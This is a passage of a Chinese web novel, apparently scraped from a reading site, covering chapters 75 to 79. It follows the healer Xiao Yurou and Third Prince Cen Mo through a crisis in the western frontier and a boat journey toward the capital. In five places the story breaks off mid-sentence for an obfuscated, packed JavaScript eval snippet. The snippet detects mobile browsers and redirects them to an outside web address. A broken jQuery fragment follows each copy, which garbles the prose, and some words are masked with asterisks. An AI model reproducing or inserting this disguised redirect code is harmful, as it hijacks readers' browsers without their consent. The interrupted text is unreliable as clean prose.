“有几成把握?”岑陌问道,眼中闪烁着希望的光芒。 “五成吧。”萧语柔如实相告,心中暗叹如果有蓬莱玉珊,把握会更大些。 “好。”岑陌几乎没有犹豫就答应了。 萧语柔有些惊讶:“三皇子,万一……” 岑陌打断她的话:“若是万一,那阿萝就得一直陪在我身边了,再也不能离开。” 萧语柔被他逗笑了,心中满是温暖。 当晚,萧语柔开始为岑陌治疗。这味药的劲儿贼猛,即便岑陌忍耐力惊人,半夜还是痛得轻哼出声。萧语柔连忙起身查看,只见岑陌浑身是汗,嘴唇都被咬破了。 “殿下,赶快把这个吃下去。”她将解毒的药丸喂给岑陌。 岑陌吞下药丸,只觉浑身清凉舒爽,仿佛泡在温水中。他紧锁的眉头渐渐舒展,沉沉睡去。 萧语柔看着他安详的睡颜,轻轻叹了口气。这一夜注定漫长,但她会一直守在岑陌身边,直到黎明到来。 山洞外,夜风呜咽,树影婆娑。萧语柔靠着石壁,目不转睛地盯着岑陌。她的手指无意识地摩挲着那个装有珍贵药材的小布袋,心中思绪万千。 岑陌的过往,他的痛苦,他的挣扎,都在她心里激起阵阵涟漪。她想要帮他,治愈他,不仅仅是身体上的伤痛,更是心灵深处的创伤。 但她又何尝不是在逃避?逃避着自己的身份,逃避着那个未知的未来。萧语柔闭上眼,深吸一口气。此刻,她只想专注于眼前,专注于岑陌的伤势。 夜深人静,只有岑陌均匀的呼吸声在山洞中回荡。萧语柔轻手轻脚地检查他的伤口,确保药效在持续发挥作用。 她的指尖轻轻掠过岑陌的额头,为他拭去冷汗。在这一刻,她忽然意识到,自己对这个男人的感情,已经远远超出了医者对病患的关心。 但她不敢细想,也不敢奢望。眼下最重要的是岑陌的康复,其他的一切都可以往后放。 天边泛起鱼肚白时,岑陌终于睁开了眼睛。他的目光有些迷茫,但很快就聚焦在萧语柔疲惫的脸上。 “你一夜没睡?”他哑着嗓子问道。 萧语柔摇摇头,露出一个疲惫但温暖的笑容:“殿下感觉如何?” 岑陌尝试动了动腿,眼中闪过一丝惊喜:“好像……好多了。” 萧语柔松了口气,但她知道,这只是漫长治疗过程的开始。前路依旧漫长而艰难,但只要他们携手同心,就没有什么困难是无法克服的。 秋风萧瑟,枯叶簌簌落下,岑陌站在冷宫残破的门前。一只野猫从墙头窜过,凶狠地朝他龇牙。他不由往后退了一步,可冥冥中似乎又被一股神秘的力量牵引着向前。 冷宫深处,似乎有着什么重要的人。一抹红色的身影在记忆中闪现,温柔地对他笑着:“陌儿,我的乖乖,别怕,永远也别怕。” “母妃...”岑陌喃喃自语,眼前一黑,失去了知觉。 萧语柔守在岑陌床边,不敢合眼。她看着他紧皱的眉头,心中焦急万分。岑陌的衣裳已被汗水浸透,这么冷的天若不更换,定会生病。 “筠儿,快去烧些热水来。”萧语柔低声唤道。 萧瑾连忙起身,不一会儿便端来一盆热气腾腾的水。萧语柔小心翼翼地为岑陌擦拭身体,又找来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15481830|170041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 几件旧棉衣给他换上。 忙完这一切,萧语柔长舒一口气。她注视着岑陌安静的睡颜,心中涌起一股说不清道不明的情愫。 两日后,岑陌终于转醒。他睁开眼,看到萧语柔和萧瑾正在往山谷下抛写有求救信息的布条。 “三皇子醒了!”萧瑾惊喜地叫道。 萧语柔连忙端来温水,又细心询问他的伤势。岑陌感受了下,惊讶地发现麻木已久的双腿竟隐隐有了知觉。 他看向萧语柔,眼中闪过一丝柔和:“阿萝,我的腿好像有感觉了。” 萧语柔眼睛一亮:“太好了!果然没让我失望!”她又拿来些清淡的食物,耐心地喂岑陌用膳。 “殿下,等过百日后,您就可以开始锻炼走路了。”萧语柔轻声叮嘱,“刚开始恐怕有点摇晃,但慢慢来,一定会好的。” 岑陌望着她认真的模样,心中涌起一股暖流。他想,从今以后,阿萝就是他的全部了。 五天后,林妈妈和邬钧终于找到了他们的藏身之处。两人跪地请罪,邬钧鼻子一动,似乎嗅到了熟悉的香味。 岑陌淡淡地道:“闻错了。” 邬钧立刻正色道:“是,属下定是闻错了。” 夜幕降临,一行人终于安全到达了山谷的最下方。岑陌看着篝火,沉声吩咐道:“天亮后,邬钧带锦阳军返程。” 邬钧面露难色,林妈妈犹豫片刻,还是说出了实情:“殿下,昨日二殿下已到西陲。虽然九州已被我们控制,但柳川出了些问题。百姓们知道您杀了马都尉,正在**治罪于您。” 萧语柔听出了言外之意,事情恐怕没那么简单。她担忧地看向岑陌,却见他面色如常。 “锦阳军不可留,”岑陌淡然道,“偷偷摸摸溜进来,就要悄无声息地走。马都尉一死,屠戮百姓之事难以查清。墨王绝对不松口,这黑锅锦阳军难以洗清。” 邬钧明白岑陌是在为兄弟们着想,却仍不甘心:“那殿下...” “我乃皇子!就算要死,也需陛下的圣旨。”岑陌打断道。 说完,他便靠着树干闭目养神。林妈妈心事重重地拨弄着火堆,山谷中不时传来虎啸声,气氛压抑得令人窒息。 第七十五章 都尉之死 天亮后,邬钧带人离开。萧语柔跟林妈妈提起藏宝洞的事,林妈妈会意,立即安排人去救援。 回城途中,岑陌让萧瑾带萧语柔先行离开。萧语柔不愿走,她太了解岑陌了。他从不屑解释那些莫须有的罪名,只是默默承受着世人的指责和自己的厌弃。 “老太君正念叨你,这几日她一直提心吊胆。”林妈妈劝道,“五小姐不妨先回去看看?若实在担心,再来看殿下也不迟。” 萧语柔担心老夫人,只得随萧瑾离开。她一走,林妈妈望着她的背影叹息:“多好的姑娘,可惜了。这回她立了大功,但此事需要保密,要不然龙都那群老狐狸,哪能放过她?” 岑陌闭上眼,轻声道:“走吧。” 马车还未到城门,忽闻急促的马蹄声。岑涛欢快的嗓音立刻响起:“三弟,可算把你盼回来了,太好了!” 岑陌没有掀开车帘,只淡淡地说:“臣弟乏了,便不打扰皇兄了。” 户部侍郎韩秉容恭敬道:“也好,三皇子先回城吧,小人这便安排人打扫院落迎接三皇子。” 谷柏听出了话中的讽刺,嘴角抿得更紧。三皇子一直住在柳川城,何须他们来收拾院子?二皇子这次几乎是白手得了三皇子苦心经营的成果,现在他手下竟敢在岑陌面前充大爷。 然而岑陌如往常一般,只是淡淡应了声,并未争执。马车缓缓驶入城中,岑陌望着窗外熟悉又陌生的街景,眼中闪过一丝复杂的情绪。 夜色如水,寒风呼啸而过,岑陌别院,人群如潮水般涌动。 “三皇子凭什么躲在里面?”一个粗犷的声音在人群中响起。 “就是!他不仅杀了马都尉,还滥杀流民,这笔账怎么算?”尖锐的女声紧随其后。 “把他交出来!”愤怒的吼声此起彼伏。 院墙内,岑陌正在和自己对弈。修长的手指拈起一枚白子,落在棋盘上,发出清脆的声响。谷柏站在一旁,眉头微蹙,目光落在岑陌身上。 他想起岑陌为保西陲百姓,不惜与墨王争斗的种种手段。那时的三皇子,哪有半分闲散贵公子的模样?如今他却坐在这里,仿佛置身事外。 岑涛推门而入,目光在弟弟身上停留片刻。“三弟,外面的事,你打算如何处置?” 岑陌抬眼看他,唇角勾起一抹若有似无的笑意。“二哥认为呢?”他反问道,声音慵懒而富有磁性。 岑涛轻叹一声,在岑陌对面坐下。“你明知故问,”他说,“这些百姓的怒火,不能不平。” 岑陌点点头,又落下一子。“是啊,”他轻声说,“可惜真相往往不是他们想象的那样。” 谷柏在一旁听得心惊,不由得插话道:“殿下,您难道要......” 岑陌抬手制止了他的话,目光依旧落在棋盘上。“谷柏,”他说,“有些事,不说反而更好。” 谷柏咬了咬唇,终究没再多言。岑涛看着弟弟,忽然觉得有些陌生。眼前这个运筹帷幄的男人,真的是他从小看着长大的弟弟吗? 正当此时,外面传来一阵更加嘈杂的声音。 “郑知县**!”有**喊,“是三皇子害**他!” 岑陌的手顿了顿,眼中闪过一丝复杂的光芒。岑涛猛地站起身,难以置信地看着弟弟。“三弟,这是怎么回事?”他声音低沉地问。 岑陌缓缓放下手中的棋子,抬头迎上岑涛的目光。“二哥,”他说,“你相信我吗?” 岑涛沉默片刻,最终点了点头。“我相信你,”他说,“但我更相信真相。” 岑陌笑了,那笑容让谷柏看得心惊。“真相?”他轻声说,“有时候,真相比谎言更可怕。” 岑涛还想说什么,门外却传来急促的脚步声。韩秉容匆匆走进来,脸上带着焦急之色。“二殿下,三皇子,”他说,“外面的情况不太妙。” 岑陌站起身,整理了一下衣袍。“我知道了,”他说,“是时候面对这一切了。” 岑涛拦住他,眼中满是担忧。“三弟,你要小心,”他说,“那些人现在很危险。” 岑陌笑了笑,拍了拍兄长的肩膀。“放心吧,二哥,”他说,“我自有分寸。” 说完,他迈步走向门口,背影挺拔如松。谷柏和韩秉容对视一眼,都从对方眼中看到了担忧。岑涛深吸一口气,快步跟上弟弟的脚步。 夜风吹拂,吹动了岑陌的衣袍。他站在院门前,面对着汹涌的人群。 “诸位,”岑陌开口,声音不大,却清晰地传入每个人耳中,“我知道你们心中有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15481831|170041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 很多疑问。” 人群中有人喊道:“三皇子,你为何要杀马都尉?” “是啊,那些无辜的流民又做错了什么?”另一个声音响起。 岑陌的目光扫过人群,忽然问道:“诸位可曾见过马都尉贪墨赈灾粮的证据?” 这话一出,人群顿时安静下来。岑陌继续说道:“郑知县收集了这些证据,但他......” 话未说完,人群中又有人喊道:“郑知县是被你害死的!” 岑陌不动声色,只是淡淡地说:“郑知县之死,我也正在调查。” 岑涛站在弟弟身边,听着这番话,心中却越发不安。他低声问道:“三弟,你到底在打什么主意?” 岑陌没有回答,只是继续对着人群说道:“我知道诸位心中有怨气,但请给我三日时间。三日后,我会给诸位一个交代。” 人群中议论纷纷,有人不满地喊道:“三日后你就能跑了,谁信你?” 岑陌微微一笑,说道:“我以皇子之名起誓,三日内绝不离开西陲一步。若食言,甘愿受天谴。” 这番话说得斩钉截铁,让许多人为之动容。岑涛看着弟弟的侧脸,心中百感交集。 谷柏在旁边低声说:“殿下,您这是......” 岑陌没有理会,只是对着人群深深一揖:“请诸位给我这个机会,还西陲一个真相。” 人群渐渐安静下来,有人喊道:“好,我们就再信你一次!” “三日后,我们要一个说法!”另一个声音响起。 岑陌点头应允,目送人群渐渐散去。直到最后一个人离开,他才转身回到院中。 岑涛跟了进来,急切地问道:“三弟,你到底在想什么?郑知县的死......” 岑陌打断了他的话:“二哥,你相信我吗?” 岑涛看着弟弟的眼睛,最终叹了口气:“我相信你。但是......” “无论发生什么,请相信我。”岑陌说完,便转身走向内室。 谷柏和韩秉容面面相觑,不知该说什么好。岑涛站在原地,望着弟弟的背影,心中充满了疑惑和担忧。 夜色渐深,西陲的风依旧在呼啸。岑陌的别院内,一场看不见的风暴正在酝酿。 第七十六章 真相 岑陌的手指在棋盘上轻点,眼神透露着淡漠。韩秉容强压心中不安,试探道:“三皇子,下官听闻您找到了藏粮之所,那批粮食...” “韩大人这是在质疑我家殿下?”林妈妈冷冷打断。 韩秉容眉头一皱,“我同你家主子说话,轮得到你插嘴吗?” “掌嘴!”岑陌淡淡吐出两字。 林妈妈立即上前,啪啪两记耳光落在韩秉容脸上。韩秉容脸颊瞬间红肿,眼中闪过震惊和愤怒。 岑涛微微蹙眉,“三弟,你这般做法是否太过?” 岑陌这才抬眼,目光如刀,“皇兄此来,是为了什么?” “你...”岑涛语塞,一时不知如何回应。 “臣弟自是感激皇兄。”岑陌语气平静,却暗含讽刺,“替臣弟上了莫须有的请罪折子,夺取了这场胜仗的收获,皇兄可谓用心良苦。” 岑涛面色一沉,“看来你心有不满啊?” “怎会?”岑陌轻笑,“粮食之事不必忧心,查抄都尉府邸,暂时够用。其他地方的官员,该查的查,该抄的抄。” “马都尉素有贤名,你就这般定他的罪?”岑涛皱眉道。 “人岂只有好坏两面?”岑陌反问,目光深邃,“皇兄若想体察民情,不妨脱去华服,亲身走访。” 岑涛哑然,看着岑陌许久,终是一言不发地转身离去。 谷柏还想说什么,岑陌淡淡道:“你也出去。” 谷柏不敢多言,悄然退出。 院外,一群衣衫褴褛之人跪在地上。郑轩带头磕头,“犯臣后人来此叩谢。”他声音哽咽,“不久前,家父因拒绝与马都尉同流合污,被其设计囚禁于秘银窟中...” 围观百姓听得惊呼连连。韩秉容暗中提醒岑涛,“二殿下,此事恐怕...” 岑涛摆手制止,“且听下去。” 郑轩继续诉说着西陲的黑暗内幕,声音越发激动,“马都尉假扮锦阳军,**百姓,栽赃三皇子...” 突然,人群中传来一声怒喝,“好孩子,你还活着!” 慕老将军找到了失散多年的儿媳,老泪纵横。这一幕,令在场众人为之动容。 谷柏眼疾手快,擒住几个想要逃跑的可疑之人。那几人却咬破毒囊,当场毙命。 老帅发出不屑冷笑,“敢欺我慕霄,莫逼本座撕破脸皮!” 围观百姓纷纷议论,对岑陌的看法有了改观。 “原来是我等误会了三皇子...” “没想到真相如此骇人听闻...” 天色渐暗,林妈妈出来传话:“三皇子重伤未愈,请蔡公子入府详谈。” 岑陌立于窗前,凝视着院中众人。他的眼中闪过一丝复杂之色,随即又恢复了平静。郑轩伏在担架上的郑知县身上,低声啜泣。周围人群渐渐散去,只留下几声叹息在夜色中回荡。 岑陌转身走向内室,脚步沉稳。他知道,明日又将是一场硬仗。但西陲的乱象,终需有人来整治。他轻轻握紧了拳头,眼中闪过一丝坚定。 林妈妈跟在身后,轻声问道:“殿下,接下来该如何行事?” 岑陌沉默片刻,“先将郑轩带来的证据整理好,明日呈送御前。至于其他...”他顿了顿,“兵来将挡,水来土掩。” 林妈妈点头称是,退了出去。 岑陌独自坐在案前,手指轻轻敲击桌面。窗外月光如水,照在他略显苍白的脸上。他闭上眼,脑海中浮现出西陲百姓饥寒交迫的模样。 “终有一日...”他低声喃喃。 夜色渐深,岑陌拿起毛笔,开始写一封奏折。笔尖在纸上沙沙作响,仿佛诉说着无尽的心事。 院子里一片寂静。只有偶尔传来的风声,打破了这份宁静。可岑陌知道,这份宁静之下,是不尽的暗潮汹涌。但他已做好准备,迎接即将到来的风暴。 为了这片饱受苦难的土地,为了那些无辜的百姓,他愿意承担一切。岑陌深吸一口气,继续写下去。每一个字,都仿佛千钧之重。 明日,又将是新的开始。但他岑陌,从不畏惧挑战。 寒风凛冽,刮得人脸颊生疼。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15481832|170041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “殿下已派人寻回被劫灾粮,诸位请回吧。” 林妈妈的声音如一把利刃划破凝滞的空气,在人群中响起。 话音刚落,欢呼声如潮水般涌来。百姓们脸上的愁云瞬间散去,取而代之的是如释重负的喜悦。林妈妈垂眸,目光扫过这群瞬间喜笑颜开的百姓,眼底闪过一丝复杂。她挥了挥手,几个仆役默默抬起郑知县的尸体,无声地退入府中。 岑涛踱步上前,朝慕霄拱手一礼:“老将军,父皇甚是挂念。” 慕霄眉头微蹙,眼中闪过一丝不悦,语气生硬:“二殿下客气了,老朽如今不过一介布衣。” 说罢,他牵起儿媳和孙女的手,转身欲走。韩秉容眼疾手快,闪身拦住去路:“将军何必急着离开?少夫人和小姐需好生休养。” 慕霄目光如刀,冷冷扫过韩秉容:“哪来的狗东西,也敢对老夫指手画脚?” 韩秉容如坠冰窟,背脊发凉,双腿不自觉地微微颤抖。 岑涛见状,连忙赔笑:“是我唐突了。”他拉着韩秉容退到一旁,目送慕霄离去。 韩秉容心中不甘,低声道:“殿下,大人甘愿让他人摘取这些功绩?” 岑涛冷眼扫过,不发一言,甩袖而去。 他换了身简装,孤身朝城门方向步行。城门处人头攒动,喧嚣声不绝于耳。岑涛拨开人群,只见河岸边停靠着几艘大船。船上的黑布被掀开,露出一包包结实的粮食。 “这是三皇子从私库调来的救灾粮。”有人高声喊道。 岑涛愕然,三弟居然如此大手笔?他正欲细看,忽听身后传来一阵争执声。 “瞧你这娇生惯养的样子,哪像等着救济的灾民?打算诈取口粮还是搞事情?”一个管事模样的汉子怒斥道,脸上写满了不屑和怀疑。 岑涛面色微沉,眉头紧蹙:“我不是。” “不是什么?莫非是马都尉的亲眷?”又有人起哄道,周围的人群发出一阵哄笑。 岑涛哑口无言,平日里的君子之风荡然无存。他握紧拳头,努力压抑着心中的怒火。 第七十七章 破绽 就在这时,岑涛眼角瞥见一抹熟悉的身影。 竟是萧语柔! 他想叫住她,却见她毫不留情地转身离去。岑涛心中一紧,不由自主地迈开步子追了上去。 “大胆刁民,放肆!” 护卫们终于赶到,亮出腰牌。百姓们顿时如鹌鹑般缩成一团,连连求饶。 岑涛顾不得其他,快步追上萧语柔。“能否借一叙?”他开口道,声音中带着一丝急切。 萧语柔停下脚步,转身看向岑涛。她指了指即将启程的小船:“船上说吧,靠岸后我便要回去了。” 两人登上甲板,江风料峭,吹散了岑涛心头的郁结。他深吸一口气,感受着夜晚的凉意。 “三弟说,人不是只有好坏之分。”他轻声道,目光投向远处的江面。 萧语柔浅笑:“王爷对这些受灾之人评价如何?” 岑涛皱眉不语,心中思绪翻涌。 萧语柔继续道:“爹爹生前常说,百姓虽有缺点,却也有难得的纯善。即便有毛病,依然保持乐观向上,保持朴实,这便是难能可贵。” 月光如水,洒落江面,碎成点点星光。岑涛望着萧语柔坚定的眼神,心中莫名安定。他感觉到有什么东西在悄然改变,但又说不清萧。 “你很勇敢。”他由衷赞叹,语气中带着一丝敬佩。 萧语柔嫣然一笑:“我知道。” 船只靠岸,她轻盈跃下,转眼消失在人群中。岑涛怅然若失,轻叹一声,转身回府。 接下来的日子里,西陲的局势渐渐明朗。镇国公带着圣旨抵达,一众贪官纷纷**。有人畏罪自尽,有人招认不讳,但幕后黑手仍未浮出水面。 岑陌坐在书房里,翻看着一份份供词。烛光摇曳,在他脸上投下忽明忽暗的阴影。他的眉头微蹙,眼中闪过一丝不易察觉的焦虑。 虽未牵出幕后黑手,但露出马脚的人已不在少数。岑陌将口供放到一旁,手指轻轻敲击桌面,陷入沉思。 他知道,这只是开始。那些隐藏在暗处的人,终究会露出破绽。岑陌嘴角勾起一抹冷笑,眼中闪过一丝凌厉的光芒。 慢慢来,一个个处置,总有水落石出的那天。他在心中暗暗发誓,无论付出多大代价,都要将这盘根错节的利益网彻底铲除。 夜深了,岑陌站起身,走到窗前。西陲的夜空繁星点点,月光如霜。 春风拂过玉华观的庭院,萧语柔立于游廊之下,远眺连绵山峦。龙都圣旨来得突然,打乱了她原本的计划。桂远墨被调任户部正七品员外郎,算是对赈灾的嘉奖。老夫人借机带着一行人启程返京,萧语柔不得不随行。 临行前,她再访珍岭,认识那些毒草毒虫,却无法带走那株神秘的迷雾藤。船行数日,珍珍突发高烧,一行人不得不在玉华观暂住。萧语柔安顿好老夫人,便去后厨为珍珍准备易消化的食物。 “语柔,真的是你!”一个熟悉又令人不快的声音打断了她的思绪。 萧语柔转身,见到了自称是她大伯母的萧康氏。这个丰腴的妇人,眼中闪烁着精明的光芒。萧语柔不由得绷紧了身子,面上却不露分毫。 “萧夫人说笑了,咱不是早就一刀两断了么?”萧语柔语气平淡,却带着一丝难以察觉的讽刺。 萧康氏脸上闪过一丝尴尬,但很快又换上了热情的笑容。“这孩子,咱们是亲人,恩怨早就该翻篇了?”她伸手想要拉萧语柔。 紫萱眼疾手快,挡在了萧语柔身前。萧康氏狠狠瞪了紫萱一眼。 “语柔,你外祖母呢?既然碰上了,我也该去问个好。”萧康氏笑着说,目光中带着探询。 萧语柔毫不犹豫地拒绝了:“外祖母千里迢迢赶路累坏了,需要休息。”她的语气虽然平和,却不容置疑。 萧康氏眼中闪过一丝不悦,但很快又恢复了笑容。“是吗?那真是可惜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15481833|170041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,我还想跟她说说侯府那位苏妈妈的情况呢。” 萧语柔心中一凛,面上却不动声色。她知道,这老狐狸果然有所图谋。 “不过既然老夫人休息,那就算了吧。”萧康氏说完,转身离去,脚步声渐渐远去。 萧语柔看着她的背影,轻轻叹了口气。她知道,这只是开始,麻烦还在后头。转身回到老夫人的房间,她的心中已有了打算。 老夫人正在品尝寺里特制的鲜菇汤,见萧语柔进来,眼中露出慈爱的神色。“语柔,来尝尝这汤,味道很是不错。” 萧语柔走到老夫人身边,轻声道:“外祖母,刚才我遇到了萧家的人。”她的声音低沉。 老夫人的手顿了顿,眼中闪过一丝锐利的光芒:“哦?是谁?” “是萧康氏,她说想来看您。”萧语柔如实相告,观察着老夫人的反应。 老夫人冷哼一声,眉头微皱:“那些人,无事不登三宝殿,定是有什么目的。”她的语气中带着一丝不屑。 萧语柔点点头:“她提到了侯府的苏妈妈,似乎知道些什么。”她的声音很轻,却字字清晰。 老夫人沉思片刻,对萧语柔说:“语柔,你要多加小心,别被他们算计了。”她的语气中透着关切和警告。 萧语柔心中一暖,知道老夫人是在关心自己。“外祖母放心,我会注意的。”她轻声承诺,眼中闪过一丝坚定。 就在此时,门外传来一阵喧哗,萧康氏的声音再次响起。“老夫人,我可算找到您了!” 萧康氏推门而入,脸上带着热情洋溢的笑容。老夫人面色一沉,冷冷地看着不请自来的萧康氏。萧语柔站在一旁,静观其变,心中已有了应对之策。 “老夫人,您看起来气色真好。”萧康氏笑着说,目光却在房间里四处打量。 老夫人放下手中的汤碗,淡淡道:“萧夫人有何贵干?”她毫不掩饰自己的不悦。 第七十八章 打探消息 萧康氏似乎没有察觉到气氛的尴尬,自顾自地说道:“老夫人,我听说您要进京,就特意来看看。您知道,我们萧家在龙都还是有些人脉的,若是有什么需要帮忙的,尽管开口。” 老夫人冷笑一声:“多谢萧夫人好意,不过我们还不需要劳烦萧家。” 萧康氏脸上的笑容僵了一下,但很快又恢复如常。“老夫人说笑了,我们都是一家人,互相帮衬是应该的。对了,我听说侯府那边...” “萧夫人。”萧语柔突然开口,打断了萧康氏的话,“外祖母身体不适,需要休息。有什么事,不如改日再谈?” 萧康氏看了看萧语柔,又看了看老夫人,终于意识到自己不受欢迎。她勉强笑了笑,说道:“也好,那我改日再来拜访。老夫人,您多保重。” 说完,她转身离开了房间。萧语柔和老夫人对视一眼,都看到了对方眼中的警惕。 “语柔,”老夫人轻声说,“你觉得他们是冲着什么来的?” 萧语柔沉思片刻,回答道:“外祖母,我猜他们可能是听说了什么风声。也许...是关于我和三皇子的事。” 老夫人点点头,眼中闪过一丝忧虑。“无论如何,我们都要小心应对。这萧家,不是什么好相与的。” 萧语柔握住老夫人的手,轻声说:“外祖母放心,我会处理好的。” 老夫人看着萧语柔坚定的眼神,欣慰地笑了。她知道,这个外孙女已经长大了,有能力应对各种复杂的局面。 夜幕低垂,玉华观里一片寂静。萧语柔站在窗前,望着远处的灯火,心中思绪万千。她知道,接下来的日子,将会是一场没有硝烟的战争。但她已经做好了准备,不管前方有什么挑战,她都会勇敢面对。 萧康氏活动了下发麻的双腿,强撑着坐下。心底涌起一阵不适,耳边传来老夫人的声音:“语柔说你有苏妈妈的消息?” “是啊。”萧康氏打起精神,目光如炬的盯着老夫人,“我家相公被调去京城做官,路上恰巧遇见一个人牙子正在贩卖一老一少。那婆子嚷嚷说她是宁远伯府老夫人身边的大管事,被外孙女婿给坑了,求好心人帮忙把消息带到京城。” 老夫人握茶杯的手微微用力,面不改色地又抿了一口茶,才问:“哦?你可问清萧了,当真是苏妈妈?” “老夫人请看。”霜婆子递上来一只断掉的银戒指,上面刻着古朴花纹。 老夫人目光一凝,认出这是多年前赐给苏妈妈的,她一直珍而重之地戴着。 萧康氏看老夫人终于上钩了,继续道:“哎,这苏妈妈真是可怜,我买下她时,她瘦得皮包骨,浑身是伤,腿也残废了,一只眼睛还瞎了。她那孙女儿更惨,被人逼得打掉孩子还不算,还中了剧毒,嗓子哑了,看着是活不长了。” 萧康氏正要卖个关子,突然对上老夫人锐利的目光,仿佛要将她看穿。她不禁打了个寒噤:“这可不是**的,是那人贩子干的好事。” “她们人在哪里?”老夫人虽明知萧康氏来意不纯,但苏妈妈跟了她几十年,如同亲人,不能不管。 “老夫人别急,我可是砸了大把银子才买到她们祖孙俩,肯定不会再让她们吃太多苦头。”萧康氏学老夫人的架势,慢悠悠喝了口茶。 老夫人冷哼了一下,也不说话,等着她自己开口。 萧康氏感觉掌心渗出汗来,心中暗道:这老太婆不是快不行了吗?怎还有这般气势?她既不甘心,生怕错失良机,只能壮着胆子说:“老夫人,听闻你们这趟是去龙都?真是巧啊,碰巧我们全家也要前往,据说这一路上挺危险的,不晓得能不能一起走?” “我记得萧家并无京官。”老夫人突然开口,语气中带着几分审视。 “我家相公升官当上了弘文院校书。”萧康氏骄傲地说,虽然只是个九品小官,但在弘文院做事,也能算半个皇帝门生了。 老夫人点点头,若有所思,不管萧康氏还有什么打算,只要她现在不提,便大可装作不知道,先找回苏妈妈要紧。 “那便同船吧。”老夫人对身旁的婆子交代:“去告诉语柔,让她安排几间厢房。” “让语柔办?”萧康氏诧异,老夫人竟把琐事都交给那黄毛丫头了? “是啊,连 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15481834|170041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 太后也赞不绝口,一些小事,她向来办得妥当。”老夫人淡淡地说。 萧康氏告别老夫人离开,一点儿得逞的喜悦都没有。她咬牙切齿地低声道:“真没想到这臭丫头,居然这么会攀附权贵,连太后都称赞。” 霜婆子撇撇嘴:“说不定是老夫人给她脸上贴金,昨晚她指不定在老夫人跟前怎么编排您呢。” 萧康氏冷着脸:“就晓得那丫头片子没憋好屁,跟她娘一样,都是祸害!” 主仆俩离开后,院墙后才显出萧语柔的身影。她眉头微蹙,心中思绪翻涌。 “姐姐,怎么办?”萧瑾低声问。 “他们是突然调入京的。”萧语柔轻声道,“入京后,做事别再冲动。” 温柔的一句话,却让萧瑾心中一凛,下意识抱紧了剑。 下午,萧语柔借口休息,拒绝了萧康氏及其家人“联络感情”的要求,等到次日上船时。 侯府准备的船其实挺小,原本住下桂远墨一家刚好。如今要挤上萧家人,老夫人怕委屈了桂远墨,索性让人重新租了条船,让他们守着珍珍再多玩两日再出发,免得跟萧家人扯上关系。 这日清早,萧语柔刚上船,林婆子就苦着脸来禀报:“小姐,那帮萧家的主子们,究竟该如何安排?” “怎么了?”萧语柔蹙眉看去,眼看着上船的时辰到了,萧家的人影都没见着。 林婆子耐着性子道:“萧家夫妻非要住老夫人隔壁,萧家长子和少夫人要睡您那屋子,其余两个姑娘,大小姐反而沉默不语,那位小姐对房间挑三拣四,要换一艘船。” 听完,萧语柔竟是难得笑了起来。萧家这群人还是老样子,贪婪依旧。 “安排三间房,离我和祖母越远越好,要是他们不爽,让他们独自坐船去京城。”萧语柔说完,朝外吩咐:“一刻钟就要开船了。” 林婆子也是个人精,看出萧语柔的不待见,跟着大声说:“好嘞!” 眼看着一刻钟就到了,萧家人慌慌张张赶来。带头的萧家大爷萧顺挺着啤酒肚,一来就冷冷盯了眼萧语柔。萧康氏脸色也不太好看。 第七十九章 堂哥 不等他们开口,后面那位高瘦的公子哥儿就阴着脸说道:“赶着投胎呢,没看到我们压根就没到,急什么急啊,难不成怕路上投胎慢了?” 